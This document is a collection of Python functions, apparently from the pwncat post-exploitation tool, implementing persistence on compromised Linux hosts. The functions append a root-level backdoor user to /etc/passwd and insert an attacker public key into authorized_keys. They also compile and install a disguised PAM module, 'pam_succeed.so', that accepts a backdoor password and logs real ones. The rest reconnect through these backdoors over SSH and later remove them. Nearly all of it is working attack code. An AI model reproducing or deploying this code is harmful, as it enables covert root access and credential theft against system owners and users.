def install(self, user, backdoor_user, backdoor_pass, shell): """ Install this module """ # Hash the password hashed = crypt.crypt(backdoor_pass) if shell == "current": shell = pwncat.victim.shell try: with pwncat.victim.open("/etc/passwd", "r") as filp: passwd = filp.readlines() except (PermissionError, FileNotFoundError) as exc: raise PersistError(str(exc)) passwd.append(f"{backdoor_user}:{hashed}:0:0::/root:{shell}\n") passwd_content = "".join(passwd) try: with pwncat.victim.open( "/etc/passwd", "w", length=len(passwd_content) ) as filp: filp.write(passwd_content) except (PermissionError, FileNotFoundError) as exc: raise PersistError(str(exc)) # Reload the user database pwncat.victim.reload_users()
def remove(self, user, backdoor_user, backdoor_pass, shell): """ Remove this module """ # Hash the password hashed = crypt.crypt(backdoor_pass) if shell == "current": shell = pwncat.victim.shell try: with pwncat.victim.open("/etc/passwd", "r") as filp: passwd = filp.readlines() except (PermissionError, FileNotFoundError) as exc: raise PersistError(str(exc)) for i in range(len(passwd)): entry = passwd[i].split(":") if entry[0] == backdoor_user: passwd.pop(i) break else: return passwd_content = "".join(passwd) try: with pwncat.victim.open("/etc/passwd", "w", length=len(passwd_content)) as filp: filp.write(passwd_content) except (PermissionError, FileNotFoundError) as exc: raise PersistError(str(exc)) # Reload the user database pwncat.victim.reload_users()
def connect(self, user, backdoor_user, backdoor_pass, shell): try: yield Status("connecting to host") # Connect to the remote host's ssh server sock = socket.create_connection((pwncat.victim.host.ip, 22)) except Exception as exc: raise PersistError(str(exc)) # Create a paramiko SSH transport layer around the socket yield Status("wrapping socket in ssh transport") t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: raise PersistError("ssh negotiation failed") # Attempt authentication try: yield Status("authenticating with victim") t.auth_password(backdoor_user, backdoor_pass) except paramiko.ssh_exception.AuthenticationException: raise PersistError("incorrect password") if not t.is_authenticated(): t.close() sock.close() raise PersistError("incorrect password") # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() yield chan
def remove(self, user, backdoor_key): """ Remove this persistence method """ try: # Read our public key with open(backdoor_key + ".pub", "r") as filp: pubkey = filp.readlines() except (FileNotFoundError, PermissionError) as exc: raise PersistError(str(exc)) # Find the user's home directory homedir = pwncat.victim.users[user].homedir if not homedir or homedir == "": raise PersistError("no home directory") # Remove the tamper tracking for tamper in pwncat.victim.tamper.filter(pwncat.tamper.ModifiedFile): if (tamper.path == os.path.join(homedir, ".ssh", "authorized_keys") and tamper.added_lines == pubkey): try: # Attempt to revert our changes tamper.revert() except pwncat.tamper.RevertFailed as exc: raise PersistError(str(exc)) # Remove the tamper tracker pwncat.victim.tamper.remove(tamper) break else: raise PersistError("failed to find matching tamper")
def remove(self, **unused): """ Remove this module """ try: # Locate the pam_deny.so to know where to place the new module pam_modules = "/usr/lib/security" yield Status("locating pam modules") results = ( pwncat.victim.run( "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'" ) .strip() .decode("utf-8") ) if results != "": results = results.split("\n") pam_modules = os.path.dirname(results[0]) yield Status(f"pam modules located at {pam_modules}") # Ensure the directory exists and is writable access = pwncat.victim.access(pam_modules) if (Access.DIRECTORY | Access.WRITE) in access: # Remove the the module pwncat.victim.env( ["rm", "-f", os.path.join(pam_modules, "pam_succeed.so")] ) new_line = "auth\tsufficient\tpam_succeed.so\n" # Remove this auth method from the following pam configurations for config in ["sshd", "sudo", "su", "login"]: config = os.path.join("/etc/pam.d", config) try: with pwncat.victim.open(config, "r") as filp: content = filp.readlines() except (PermissionError, FileNotFoundError): continue # Add this auth statement before the first auth statement content = [line for line in content if line != new_line] content = "".join(content) try: with pwncat.victim.open( config, "w", length=len(content) ) as filp: filp.write(content) except (PermissionError, FileNotFoundError): continue else: raise PersistError("insufficient permissions") except FileNotFoundError as exc: # Uh-oh, some binary was missing... I'm not sure what to do here... raise PersistError(f"[red]error[/red]: {exc}")
def escalate(self, user: str, password: str, log: str) -> bool: """ Escalate to the given user with this module """ try: pwncat.victim.su(user, password) except PermissionError: raise PersistError("Escalation failed. Is selinux enabled?")
def connect(self, user, backdoor_key: str) -> socket.SocketType: """ Reconnect to this host with this persistence method """ try: # Connect to the remote host's ssh server sock = socket.create_connection((pwncat.victim.host.ip, 22)) except Exception as exc: raise PersistError(str(exc)) # Create a paramiko SSH transport layer around the socket t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: raise PersistError("ssh negotiation failed") try: # Load the private key for the user key = paramiko.RSAKey.from_private_key_file(backdoor_key) except: password = prompt("RSA Private Key Passphrase: ", is_password=True) key = paramiko.RSAKey.from_private_key_file(backdoor_key, password) # Attempt authentication try: t.auth_publickey(user, key) except paramiko.ssh_exception.AuthenticationException: raise PersistError("authorized key authentication failed") if not t.is_authenticated(): t.close() sock.close() raise PersistError("authorized key authentication failed") # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() return chan
def run(self, remove, escalate, connect, **kwargs): """ This method should not be overriden by subclasses. It handles all logic for installation, escalation, connection, and removal. The standard interface of this method allows abstract interactions across all persistence modules. """ if "user" not in kwargs: raise RuntimeError(f"{self.__class__} must take a user argument") # We need to clear the user for ALL_USERS modules, # but it may be needed for escalate. requested_user = kwargs["user"] if PersistType.ALL_USERS in self.TYPE: kwargs["user"] = None # Check if this module has been installed with the same arguments before ident = (pwncat.victim.session.query( pwncat.db.Persistence.id).filter_by(host_id=pwncat.victim.host.id, method=self.name, args=kwargs).scalar()) # Remove this module if ident is not None and remove: # Run module-specific cleanup result = self.remove(**kwargs) if inspect.isgenerator(result): yield from result else: yield result # Remove from the database pwncat.victim.session.query(pwncat.db.Persistence).filter_by( host_id=pwncat.victim.host.id, method=self.name, args=kwargs).delete(synchronize_session=False) return elif ident is not None and escalate: # This only happens for ALL_USERS, so we assume they want root. if requested_user is None: kwargs["user"] = "******" else: kwargs["user"] = requested_user result = self.escalate(**kwargs) if inspect.isgenerator(result): yield from result else: yield result # There was no exception, so we assume it worked. Put the user # back in raw mode. This is a bad idea, since we may be running # escalate from a privesc context. # pwncat.victim.state = State.RAW return elif ident is not None and connect: if requested_user is None: kwargs["user"] = "******" else: kwargs["user"] = requested_user result = self.connect(**kwargs) if inspect.isgenerator(result): yield from result else: yield result return elif ident is None and (remove or escalate or connect): raise PersistError( f"{self.name}: not installed with these arguments") elif ident is not None: yield Status( f"{self.name}: already installed with matching arguments") return # Let the installer also produce results result = self.install(**kwargs) if inspect.isgenerator(result): yield from result elif result is not None: yield result self.register(**kwargs)
def install(self, user: str, password: str, log: str): """ Install this module """ if user is not None: self.progress.log( f"[yellow]warning[/yellow]: {self.name}: this module applies to all users" ) if pwncat.victim.current_user.id != 0: raise PersistError("must be root") # Read the source code with open(pkg_resources.resource_filename("pwncat", "data/pam.c"), "r") as filp: sneaky_source = filp.read() yield Status("checking selinux state") # SELinux causes issues depending on it's configuration for selinux in pwncat.modules.run( "enumerate.gather", progress=self.progress, types=["system.selinux"] ): if selinux.data.enabled and "enforc" in selinux.data.mode: raise PersistError("selinux is currently in enforce mode") elif selinux.data.enabled: self.progress.log( "[yellow]warning[/yellow]: selinux is enabled; persistence may be logged" ) # We use the backdoor password. Build the string of encoded bytes # These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...}; password_hash = hashlib.sha1(password.encode("utf-8")).digest() password_hash = ",".join(hex(c) for c in password_hash) # Insert our key sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash) # Insert the log location for successful passwords sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log) yield Status("compiling pam module for target") try: # Compile our source for the remote host lib_path = pwncat.victim.compile( [io.StringIO(sneaky_source)], suffix=".so", cflags=["-shared", "-fPIE"], ldflags=["-lcrypto"], ) except (FileNotFoundError, CompilationError) as exc: raise PersistError(f"pam: compilation failed: {exc}") yield Status("locating pam module installation") # Locate the pam_deny.so to know where to place the new module pam_modules = "/usr/lib/security" try: results = ( pwncat.victim.run( "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'" ) .strip() .decode("utf-8") ) if results != "": results = results.split("\n") pam_modules = os.path.dirname(results[0]) except FileNotFoundError: pass yield Status(f"pam modules located at {pam_modules}") # Ensure the directory exists and is writable access = pwncat.victim.access(pam_modules) if (Access.DIRECTORY | Access.WRITE) in access: # Copy the module to a non-suspicious path yield Status("copying shared library") pwncat.victim.env( ["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")] ) new_line = "auth\tsufficient\tpam_succeed.so\n" yield Status("adding pam auth configuration") # Add this auth method to the following pam configurations for config in ["sshd", "sudo", "su", "login"]: yield Status(f"adding pam auth configuration: {config}") config = os.path.join("/etc/pam.d", config) try: # Read the original content with pwncat.victim.open(config, "r") as filp: content = filp.readlines() except (PermissionError, FileNotFoundError): continue # We need to know if there is a rootok line. If there is, # we should add our line after it to ensure that rootok still # works. contains_rootok = any("pam_rootok" in line for line in content) # Add this auth statement before the first auth statement for i, line in enumerate(content): # We either insert after the rootok line or before the first # auth line, depending on if rootok is present if contains_rootok and "pam_rootok" in line: content.insert(i + 1, new_line) elif not contains_rootok and line.startswith("auth"): content.insert(i, new_line) break else: content.append(new_line) content = "".join(content) try: with pwncat.victim.open(config, "w", length=len(content)) as filp: filp.write(content) except (PermissionError, FileNotFoundError): continue pwncat.victim.tamper.created_file(log)
def install(self, user, backdoor_key): """ Install this persistence method """ homedir = pwncat.victim.users[user].homedir if not homedir or homedir == "": raise PersistError("no home directory") # Create .ssh directory if it doesn't exist access = pwncat.victim.access(os.path.join(homedir, ".ssh")) if Access.DIRECTORY not in access or Access.EXISTS not in access: pwncat.victim.run(["mkdir", "-p", os.path.join(homedir, ".ssh")]) # Create the authorized_keys file if it doesn't exist access = pwncat.victim.access( os.path.join(homedir, ".ssh", "authorized_keys")) if Access.EXISTS not in access: pwncat.victim.run( ["touch", os.path.join(homedir, ".ssh", "authorized_keys")]) pwncat.victim.run([ "chmod", "600", os.path.join(homedir, ".ssh", "authorized_keys") ]) authkeys = [] else: try: # Read in the current authorized keys if it exists with pwncat.victim.open( os.path.join(homedir, ".ssh", "authorized_keys"), "r") as filp: authkeys = filp.readlines() except (FileNotFoundError, PermissionError) as exc: raise PersistError(str(exc)) try: # Read our public key with open(backdoor_key + ".pub", "r") as filp: pubkey = filp.readlines() except (FileNotFoundError, PermissionError) as exc: raise PersistError(str(exc)) # Ensure we read a public key if not pubkey: raise PersistError( f"{pwncat.config['privkey']+'.pub'}: empty public key") # Add our public key authkeys.extend(pubkey) authkey_data = "".join(authkeys) # Write the authorized keys back to the authorized keys try: with pwncat.victim.open( os.path.join(homedir, ".ssh", "authorized_keys"), "w", length=len(authkey_data), ) as filp: filp.write(authkey_data) except (FileNotFoundError, PermissionError) as exc: raise PersistError(str(exc)) # Ensure we have correct permissions for ssh to work properly pwncat.victim.env( ["chmod", "600", os.path.join(homedir, ".ssh", "authorized_keys")]) pwncat.victim.env([ "chown", f"{user}:{user}", os.path.join(homedir, ".ssh", "authorized_keys"), ]) # Register the modifications with the tamper module pwncat.victim.tamper.modified_file(os.path.join( homedir, ".ssh", "authorized_keys"), added_lines=pubkey)